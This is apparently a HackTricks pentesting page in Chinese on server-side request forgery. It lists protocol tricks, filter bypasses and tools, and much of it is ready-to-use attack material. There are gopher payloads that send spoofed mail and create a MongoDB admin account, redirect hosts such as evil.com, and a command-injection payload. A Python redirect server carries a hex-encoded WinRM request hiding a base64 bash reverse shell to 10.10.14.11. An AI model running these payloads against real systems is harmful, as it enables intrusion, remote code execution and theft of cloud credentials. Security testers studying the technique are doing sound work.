SSRF (Server Side Request Forgery)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

当攻击者操纵 Server-side Request Forgery (SSRF) 漏洞,使 server-side application 发起到任意域名的 HTTP requests 时,就会发生该漏洞。该漏洞使服务器暴露于攻击者定向的任意外部请求。

捕获 SSRF

首先你需要捕获由你触发的 SSRF 交互。要捕获 HTTP 或 DNS 交互,你可以使用如下工具:

白名单域名绕过

通常你会发现 SSRF 仅在某些白名单域名或 URL 下有效。下面页面汇总了尝试绕过该白名单的多种技巧

URL Format Bypass

利用 Open Redirect 绕过

如果服务器已正确防护,你仍然可能通过在网页中利用一个 Open Redirect 来绕过所有限制。因为该网页可能允许 SSRF 到相同域名 并且可能会 follow redirects,你可以利用 Open Redirect 使服务器访问任何内部资源。
阅读更多: https://portswigger.net/web-security/ssrf

协议

  • file://
  • URL 方案 file:// 被提及,直接指向 /etc/passwdfile:///etc/passwd
  • dict://
  • 描述了 DICT URL 方案可用于通过 DICT 协议访问定义或单词表。示例展示了构造的 URL,目标为特定单词、数据库和条目编号;同时举例说明可能会滥用某个 PHP 脚本以使用攻击者提供的凭据连接到 DICT 服务器:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • 被识别为通过 secure shell 进行安全文件传输的协议,示例展示了如何利用 PHP 脚本连接到恶意 SFTP 服务器:url=sftp://generic.com:11111/
  • TFTP://
  • 提及 Trivial File Transfer Protocol(基于 UDP),并举例说明一个 PHP 脚本将请求发送到 TFTP 服务器。向 ‘generic.com’ 的端口 ‘12346’ 请求文件 ‘TESTUDPPACKET’:ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • 本节介绍 Lightweight Directory Access Protocol,强调其用于通过 IP 网络管理和访问分布式目录信息服务。与本地 LDAP 服务器交互的示例:'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • 描述了一种利用 SSRF 与本地主机上的 SMTP 服务交互的方法,包括揭示内部域名以及基于该信息的进一步调查步骤。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • 如果 SSRF 是由 curl 执行的,curl 有一个名为 URL globbing 的功能,可能有助于绕过 WAFs。 例如在这篇 writeup 中,你可以找到一个关于 path traversal via file protocol 的示例:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • 讨论了 Gopher 协议能够为服务器通信指定 IP、port 和 bytes 的能力,同时介绍了用于构造 payload 的工具,如 Gopherus 和 remote-method-guesser。举例说明了两个不同的用途:

Gopher://

使用此协议,你可以指定服务器要发送IP、port 和 bytes。然后,基本上你可以利用 SSRF 来与任何 TCP server 通信(但你需要先知道如何与该 service 通信)。
幸运的是,你可以使用 Gopherus 为多种 services 创建 payloads。此外,remote-method-guesser 可用于为 Java RMI services 创建 gopher payloads。

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 回连到 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – 创建用户,username=admin,password=admin123,permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF 通过 Referrer header & 其他

服务器上的分析软件经常记录 Referrer header 以追踪传入链接,这一做法无意中使应用暴露于 Server-Side Request Forgery (SSRF) 漏洞。因为这些软件可能会访问 Referrer header 中提到的外部 URL 来分析转介站点内容。为发现这些漏洞,建议使用 Burp Suite 插件 Collaborator Everywhere,利用分析工具处理 Referer header 的方式来识别潜在的 SSRF 攻击面。

SSRF 通过证书的 SNI 数据

下面用一个示例 Nginx 配置演示了一种错误配置,该配置可能通过简单设置允许连接到任意后端:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

在此配置中,来自 Server Name Indication (SNI) 字段的值被直接用作 backend 的地址。该设置导致暴露出 Server-Side Request Forgery (SSRF) 漏洞,攻击者只需在 SNI 字段中指定目标 IP address 或 domain name 即可利用该漏洞。下方给出一个利用 openssl 命令强制连接到任意 backend(例如 internal.host.com)的利用示例:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF 通过 TLS AIA CA Issuers (Java mTLS)

一些 TLS 堆栈会使用对端证书中的 Authority Information Access (AIA) → CA Issuers URI 自动下载缺失的中级 CA。在 Java 中,在运行 mTLS 服务时启用 -Dcom.sun.security.enableAIAcaIssuers=true 会使服务器在握手期间解析来自客户端证书的受攻击者控制的 URI,早于任何 HTTP 逻辑运行。

  • 要求:启用 mTLS、启用 Java 的 AIA 获取功能,攻击者可以出示带有精心构造的 AIA CA Issuers URI 的客户端证书。
  • 触发 SSRF(Java 21 示例):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Java certpath 调试输出显示 CertStore URI:http://localhost:8080nc 捕获了包含可控 User-Agent(来自 -Dhttp.agent)的 HTTP 请求,证明在证书验证期间发生了 SSRF。

  • 通过 file:// 导致 DoS:将 AIA CA Issuers 设置为 file:///dev/urandom(在类 Unix 主机上)会使 Java 将其视为 CertStore 并读取无限的随机字节,使一个 CPU 核心持续忙碌并阻塞后续连接,即使客户端断开连接也不释放。

SSRF 通过 CSS 预处理器

LESS 是一个流行的 CSS 预处理器,添加了变量、mixins、函数以及强大的 @import 指令。在编译期间,LESS 引擎会 抓取 @import 语句中引用的资源 并在使用 (inline) 选项时将其内容嵌入(内联)到生成的 CSS 中。

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF 与 Command Injection

可以尝试使用类似如下的 payload: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDF 渲染

如果网页会自动使用你提供的一些信息创建 PDF,你可以插入一些将在 PDF 创建器自身(服务器)生成 PDF 时执行的 JS,从而能够滥用 SSRF。 更多信息见此

从 SSRF 到 DoS

创建多个会话,尝试利用 SSRF 从这些会话下载大文件以造成影响。

SSRF PHP 函数

查看下列页面以了解易受攻击的 PHP 甚至 Wordpress 函数:

PHP SSRF

SSRF 重定向到 Gopher

对于某些利用场景,你可能需要发送重定向响应(可能是为了使用像 gopher 这样的不同协议)。下面是一些用于返回重定向的 python 代码:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

配置错误的代理导致 SSRF

技巧 from this post.

Flask

Flask proxy 易受攻击的代码 ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask 允许使用 **`@`** 作为起始字符,这允许将 **初始主机名设为 username** 并注入一个新的主机名。攻击请求:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

易受攻击的代码:

发现可以使用字符 ;开始请求的路径,随后使用 @ 注入新的 host 并访问。攻击请求:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP 内置 Web 服务器

易受攻击的 PHP 代码 ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP 允许在 URL 路径中在斜杠前使用 **字符 `*`**,但它有其他限制,例如它只能用于根路径名 `/`,并且在第一个斜杠之前不允许使用点 `.`,因此例如需要使用无点十六进制编码的 IP 地址:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

如果你因为 CORS/SOP 导致无法 exfiltrate 本地 IP 的内容DNS Rebidding 可以用来绕过该限制:

CORS - Misconfigurations & Bypass

自动化 DNS Rebidding

Singularity of Origin 是一个用于执行 DNS rebinding 攻击的工具。它包含将攻击者控制的 DNS 名称的 IP 地址重新绑定到目标机器 IP 地址并向目标机器提供攻击 payloads 所需的组件,以利用目标机器上易受攻击的软件。

另请查看正在公开运行的服务器: http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • 本地端口上的服务

Attack:

  1. 让用户/机器人访问攻击者控制的域名
  2. DNSTTL0秒(因此受害者会很快再次检查该域名的 IP)。
  3. 受害者与该域名之间建立了TLS connection。攻击者在Session ID 或 Session Ticket中注入了payload
  4. 域名将对自身启动一个无限重定向循环。目的是使用户/机器人不断访问该域名,直到它再次对该域名发起DNS 请求
  5. 在该 DNS 请求中现在返回一个private IP(例如 127.0.0.1)。
  6. 用户/机器人会尝试重新建立 TLS 连接,为此它会发送此前的Session ID/Session Ticket(其中包含了攻击者的payload)。恭喜——你成功让用户/机器人攻击自己

注意,在此攻击中,如果你想攻击 localhost:11211(memcache),需要让受害者最初与 www.attacker.com:11211 建立连接(端口必须始终相同)。
执行此攻击你可以使用工具https://github.com/jmdx/TLS-poison/
有关更多信息,请查看解释该攻击的演讲: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

盲 SSRF 与非盲 SSRF 的区别在于,盲 SSRF 时你无法看到 SSRF 请求的响应。因此更难利用,因为你通常只能利用已知的、明确的漏洞。

Time based SSRF

通过检查服务器响应的时间,可能判断某个资源是否存在(访问存在的资源可能比访问不存在的资源耗时更久)。

从 blind 到通过状态码进行完整滥用

根据这篇 blog post,有些盲 SSRF 现象是这样的:即便目标 URL 返回 200 状态码(比如 AWS metadata),这些数据可能格式不正确,因此应用会拒绝展示它。

然而,研究发现通过在 SSRF 中返回 305 到 309 的一些重定向响应,可能使得应用在进入错误模式的同时仍然跟随这些重定向,此时应用不再检查数据格式,可能直接将其打印出来。

用于利用该方法的 python 服务器如下:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

步骤:

  • 首先 302 让应用开始跟随。
  • 然后它接收到 305 → 306 → 307 → 308 → 309 → 310。
  • 在第五个异常代码之后,PoC 最终返回 302 → 169.254.169.254 → 200 OK。

目标内部发生了什么:

  • libcurl 本身确实会跟随 305–310;它只是将未知状态码规范化为 “follow”。
  • 在 N 个奇怪的重定向(这里 ≥ 5)之后,应用自身的封装器会判断“有问题”,并切换到用于调试的错误模式。
  • 在该模式下,它会将整个重定向链及最终主体转储回外部调用者。
  • 结果:攻击者看到每个 header + 元数据 JSON,任务完成。

注意,这对 leak 之前你无法 leak 的状态码(比如 200)很有趣。不过,如果你还能选择响应的状态码(想象你能让 AWS metadata 返回 500 状态码),有些状态码可能会直接 leak 响应的内容。

HTML-to-PDF renderers as blind SSRF gadgets

TCPDF(以及像 spipu/html2pdf 的封装)这样的库在渲染 PDF 时会自动抓取攻击者控制的 HTML 中出现的任何 URL。每个 <img><link rel="stylesheet"> 属性都会通过 cURL、getimagesize()file_get_contents() 在服务器端被解析,所以你可以驱动 PDF worker 去探测内部主机,即使没有 HTTP 响应被反射给你。

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 对每个 <img> 资源会发起多次检索尝试,因此单个 payload 可以生成多个请求(对基于时间的端口扫描有帮助)。
  • html2pdf 复制了 TCPDF 在 <img> 上的行为,并在 Css::extractStyle() 中添加了 CSS 获取,该函数在进行简单的 scheme 检查后直接调用 file_get_contents($href)。可滥用此功能访问 loopback 服务、RFC1918 网段或云 metadata endpoints。
  • 将此 SSRF primitive 与 HTML-to-PDF path traversal tricks 结合使用,可以 leak 内部 HTTP 响应以及被渲染到 PDF 中的本地文件。

防护人员应在渲染前剥离外部 URL,或将渲染器隔离在网络沙盒中;在未采取这些措施前,应将 PDF 生成器视为盲 SSRF 代理。

Cloud SSRF Exploitation

如果你在运行于云环境中的机器上发现 SSRF 漏洞,可能能够获取有关云环境的有价值信息,甚至是凭证:

Cloud SSRF

SSRF Vulnerable Platforms

若干已知平台包含或曾包含 SSRF 漏洞,请查看:

SSRF Vulnerable Platforms

Tools

SSRFMap

用于检测和利用 SSRF 漏洞的工具

Gopherus

该工具生成用于以下服务的 Gopher payloads:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser 是一个 Java RMI 漏洞扫描器,支持对大多数常见 Java RMI 漏洞执行攻击操作。大多数可用操作都支持 --ssrf 选项,用于为请求的操作生成 SSRF payload。配合 --gopher 选项,可以直接生成可用的 gopher payloads。

SSRF Proxy

SSRF Proxy 是一个多线程 HTTP 代理服务器,设计用于通过易受 Server-Side Request Forgery (SSRF) 漏洞的 HTTP 服务器隧道转发客户端 HTTP 流量。

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks